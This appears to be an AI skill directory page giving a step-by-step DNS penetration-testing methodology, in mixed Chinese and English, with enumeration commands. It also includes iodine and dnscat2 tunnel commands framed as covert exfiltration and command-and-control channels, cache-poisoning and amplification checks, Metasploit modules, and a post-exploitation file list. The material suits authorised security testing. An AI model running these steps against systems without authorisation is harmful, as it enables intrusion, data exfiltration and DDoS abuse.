SuperAPI AI Directory

dns-pentesting

Security & auditing

View repository

Updated 10-16 10:12

About this skill

DNS penetration testing methodology (53)

In-depth reference

  • DNS enumeration and exploitation command reference (dig / nslookup / dnsrecon / dnsenum / fierce / nmap scripts) -> read references/dns-techniques.md

Overall decision tree

发现 53 端口开放 (TCP/UDP)
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 DNS 软件与版本 (BIND / Windows DNS / dnsmasq / PowerDNS)
│   ├─ 判断是否权威服务器 (authoritative) 还是递归解析器 (recursive)
│   └─ 检查递归查询是否开放
│       ├─ 开放 -> 标记为可被滥用 (DNS 放大攻击),同时利用递归获取缓存信息
│       └─ 关闭 -> 仅可查询该服务器负责的区域
├─ Phase 2: 区域传送测试 (AXFR)
│   ├─ 成功 -> 获取完整区域记录,提取所有主机名、IP、内部域名
│   └─ 失败 -> 进入 Phase 3/4 逐步枚举
├─ Phase 3: DNS 记录枚举
│   ├─ A / AAAA / MX / NS / TXT / SOA / SRV / CNAME
│   ├─ AD 环境 SRV 记录 (_kerberos / _ldap / _gc)
│   └─ DNSSEC 记录 (DNSKEY / DS / NSEC / NSEC3)
│       └─ NSEC 遍历 -> 枚举所有域名 (未使用 NSEC3 时)
├─ Phase 4: 子域名枚举
│   ├─ 字典爆破 (dnsenum / dnsrecon / fierce / gobuster dns)
│   ├─ NSEC walking (针对 DNSSEC 签名域)
│   └─ 被动收集 (crt.sh / SecurityTrails / 不在本 skill 范围)
├─ Phase 5: 反向查询
│   ├─ PTR 记录反向解析 (目标 IP 段)
│   ├─ 发现内部主机名 -> 扩大攻击面
│   └─ 交叉验证 A 记录与 PTR 记录一致性
├─ Phase 6: DNS 隧道检测与利用
│   ├─ 检测 -> 观察异常长 TXT/NULL 查询、高频子域查询
│   └─ 利用 -> 通过 DNS 建立隐蔽数据通道 (iodine / dnscat2 / dns2tcp)
└─ Phase 7: 已知漏洞
    ├─ BIND 版本已知 -> 查询对应 CVE
    ├─ DNS 缓存投毒 (Kaminsky attack variant)
    └─ DNS 递归放大 (DDoS 反射)

Phase 1: Service discovery and version identification

1.1 Port scanning and service probing

# Nmap 基础扫描 — TCP/UDP 均需覆盖
nmap -sV -sC -p 53 <IP>
nmap -sU -sV -p 53 <IP>

# Nmap DNS 专项脚本
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>

1.2 Version identification (Banner Grabbing)

DNS 版本识别
├─ BIND nameserver
│   ├─ dig version.bind CHAOS TXT @<IP>
│   └─ dig version.server CHAOS TXT @<IP>
├─ fpdns 指纹工具
│   └─ fpdns -D <IP>
├─ Nmap nsid 脚本
│   └─ nmap -sU -p 53 --script dns-nsid <IP>
└─ 判断结果
    ├─ BIND 9.x -> 记录精确版本,查询 CVE
    ├─ Windows DNS -> 通常不返回版本,结合 OS 指纹推断
    └─ dnsmasq / PowerDNS -> 各有特定漏洞历史

Key judgment:

  • Version discoverable -> directly search for the corresponding CVE, jump to Phase 7
  • BIND < 9.11 -> multiple remote vulnerabilities
  • Recursion open -> can be used for information gathering + flag amplification attack risk

1.3 Recursive query detection

# 查询外部域名 — 如果返回结果则递归开放
dig google.com A @<IP>
# 检查响应中 "ra" (recursion available) 标志
# flags: qr rd ra -> 递归可用
# flags: qr rd    -> 递归不可用

Phase 2: Zone transfer testing (AXFR)

2.1 Zone transfer decision tree

测试区域传送
├─ 已知域名
│   ├─ dig axfr <DOMAIN> @<IP>
│   └─ 成功 -> 导出完整区域文件,提取所有记录
├─ 域名未知
│   ├─ dig axfr @<IP>  (无域名尝试)
│   ├─ 通过 SOA 查询获取域名: dig SOA @<IP> <IP_range>
│   └─ 通过反向解析猜测域名
├─ fierce 自动尝试
│   └─ fierce --domain <DOMAIN> --dns-servers <IP>
│       (自动对每个权威 NS 尝试区域传送,失败后进行字典爆破)
└─ 结果处理
    ├─ 成功 -> 保存完整记录,提取内部 IP、主机名、邮件服务器
    └─ 失败 (REFUSED / NOTAUTH) -> 配置正确,进入其他枚举方式

2.2 Analysis after a successful zone transfer

High-value information extracted from the zone file:

  • Internal hostnames and IP mappings -> expand the attack surface
  • MX records -> mail server locations
  • TXT records -> SPF/DKIM configuration, possible verification tokens
  • SRV records -> service locations (especially important in AD environments)
  • CNAME -> external dependencies, possible subdomain takeover

Phase 3: DNS record enumeration

3.1 Common record type queries

# 标准记录查询
dig ANY @<IP> <DOMAIN>
dig A @<IP> <DOMAIN>
dig AAAA @<IP> <DOMAIN>
dig TXT @<IP> <DOMAIN>
dig MX @<IP> <DOMAIN>
dig NS @<IP> <DOMAIN>
dig SOA @<IP> <DOMAIN>
dig CNAME @<IP> <DOMAIN>
dig SRV @<IP> _http._tcp.<DOMAIN>

3.2 Active Directory SRV records

AD 环境 DNS 枚举
├─ 域控定位
│   ├─ dig -t SRV _gc._tcp.<DOMAIN> @<IP>
│   ├─ dig -t SRV _ldap._tcp.<DOMAIN> @<IP>
│   ├─ dig -t SRV _kerberos._tcp.<DOMAIN> @<IP>
│   └─ dig -t SRV _kpasswd._tcp.<DOMAIN> @<IP>
├─ nslookup 交互查询
│   └─ nslookup -type=srv _kerberos._tcp.<DOMAIN> <IP>
└─ Nmap SRV 枚举脚本
    └─ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<DOMAIN>'"

Key judgment: AD SRV records found -> confirm the domain environment exists, correlate ad-domain-attack skill

3.3 DNSSEC enumeration

DNSSEC 检查
├─ 查询 DNSKEY 和 DS 记录
│   ├─ dig DNSKEY <DOMAIN> @<IP> +dnssec
│   └─ dig DS <DOMAIN> @<IP>
├─ NSEC 记录遍历 (zone walking)
│   ├─ 域使用 NSEC (非 NSEC3) -> 可枚举所有域名
│   └─ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<DOMAIN> <IP>
└─ NSEC3 -> 哈希保护,需离线破解或放弃遍历

Phase 4: Subdomain enumeration

4.1 Dictionary brute force

子域名爆破策略
├─ dnsenum
│   └─ dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
├─ dnsrecon
│   └─ dnsrecon -D <WORDLIST> -d <DOMAIN> -n <IP>
├─ dnscan (支持递归发现)
│   └─ dnscan -d <DOMAIN> -r -w <WORDLIST>
├─ gobuster dns 模式
│   └─ gobuster dns -d <DOMAIN> -w <WORDLIST> -r <IP>:53
└─ 字典选择
    ├─ 快速: subdomains-top1million-5000.txt
    ├─ 标准: subdomains-top1million-20000.txt
    └─ 深度: subdomains-top1million-110000.txt (SecLists)

4.2 IPv6 subdomain enumeration

# 使用 AAAA 请求爆破 IPv6 地址
dnsdict6 -s -t <DOMAIN>

# IPv6 反向枚举
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48

Phase 5: Reverse queries

5.1 Reverse DNS brute force

反向解析策略
├─ 目标网段 PTR 扫描
│   ├─ dnsrecon -r <IP_RANGE>/24 -n <IP>
│   ├─ dig -x <TARGET_IP> @<IP>
│   └─ dig -x <TARGET_IPv6> @<IP>
├─ 内网常见段
│   ├─ dnsrecon -r 127.0.0.0/24 -n <IP>
│   └─ dnsrecon -r 127.0.1.0/24 -n <IP>
└─ 结果分析
    ├─ 发现内部主机名 -> 构建主机名列表用于后续枚举
    └─ 发现子域 -> 将其作为 AXFR/爆破的新目标

Tip: if a subdomain resolves to an internal IP, try reverse DNS brute forcing against the authoritative NS for that domain, which may expose more internal infrastructure.: if a subdomain resolves to an internal IP, try reverse DNS brute forcing against the authoritative NS for that domain, which may expose more internal infrastructure.

5.2 Online reverse queries

BGP routing information can help determine the ownership of the target IP range:https://bgp.he.net/net/<IP_RANGE>#_dns


Phase 6: DNS tunneling

6.1 Detecting DNS tunnels

DNS 隧道特征识别
├─ 网络层指标
│   ├─ 异常长的 DNS 查询 (>50 字节子域名)
│   ├─ 高频 TXT / NULL / CNAME 查询
│   ├─ 单一域名的超高查询量
│   └─ DNS over TCP 流量异常增多
├─ 检测工具
│   ├─ tcpdump -i <IFACE> -n port 53 (人工分析)
│   ├─ Wireshark dns 过滤器 + 统计分析
│   └─ Zeek/Bro dns.log 异常检测
└─ 判断
    ├─ 发现隧道 -> 分析隧道工具类型,评估数据泄露风险
    └─ 未发现 -> 可自行建立隧道用于数据渗出

6.2 Establishing DNS tunnels

DNS 隧道工具选择
├─ iodine (IP-over-DNS)
│   ├─ 需要控制一个域名的 NS 记录
│   ├─ 服务端: iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.<DOMAIN>
│   └─ 客户端: iodine -f -P <PASSWORD> tunnel.<DOMAIN>
├─ dnscat2 (命令控制通道)
│   ├─ 服务端: dnscat2-server <DOMAIN>
│   └─ 客户端: dnscat2 <DOMAIN>
└─ dns2tcp
    ├─ 适用于 TCP 端口转发
    └─ 配置文件方式运行

Phase 7: Known vulnerabilities

7.1 Vulnerability detection decision tree

DNS 版本已知
├─ BIND 漏洞
│   ├─ CVE-2021-25216 — BIND 9.x GSS-TSIG 缓冲区溢出
│   ├─ CVE-2020-8617 — BIND 9.x TSIG 验证绕过导致 DoS
│   ├─ CVE-2017-3143 — TSIG 认证绕过允许未授权区域更新
│   ├─ CVE-2016-2776 — BIND 9.x 响应构造 DoS
│   └─ 旧版本 -> 搜索 "BIND <version> CVE"
├─ Windows DNS
│   ├─ CVE-2020-1350 (SIGRed) — Windows DNS Server RCE (CVSS 10.0)
│   │   └─ 检测: nmap -p 53 --script dns-check-zone <IP> + 版本确认
│   └─ CVE-2021-24078 — Windows DNS Server RCE
├─ dnsmasq
│   ├─ CVE-2020-25681~25687 (DNSpooq) — 缓冲区溢出 + 缓存投毒
│   └─ CVE-2017-14491 — dnsmasq 堆溢出 RCE
├─ DNS 缓存投毒
│   ├─ 检测随机 TXID: nmap --script dns-random-txid <IP>
│   ├─ 检测随机源端口: nmap --script dns-random-srcport <IP>
│   └─ 两者均弱 -> Kaminsky 攻击变体可行
└─ DNS 递归放大 (DDoS)
    ├─ 递归开放 + ANY 查询响应 -> 放大因子高
    └─ dig ANY <LARGE_DOMAIN> @<IP>  (测试放大比)

7.2 Metasploit modules

# DNS 枚举
auxiliary/gather/enum_dns

# DNS 放大扫描
auxiliary/scanner/dns/dns_amp

Post-exploitation

After gaining access to the DNS server, check the following configuration files:

File path Content of interest
/etc/bind/named.conf allow-transfer / allow-recursion / allow-query configuration
/etc/bind/named.conf.local Zone definitions, key file paths
/etc/bind/named.conf.options Forwarders, ACL policies
/etc/resolv.conf Upstream DNS servers
host.conf Resolution order configuration
/etc/bind/named.conf.log Logging configuration, may leak query history

Key configuration audit:

  • allow-transfer { any; } -> zone transfer unrestricted
  • allow-recursion { any; } -> recursive queries open to the public
  • allow-query { any; } -> no query source restrictions
  • TSIG key file -> can be used to authorize zone updates

Mail probing techniques

Sending email to a nonexistent email address in the target domain, the header of the NDN (Non-Delivery Notification) bounce email may leak the internal server name and IP address.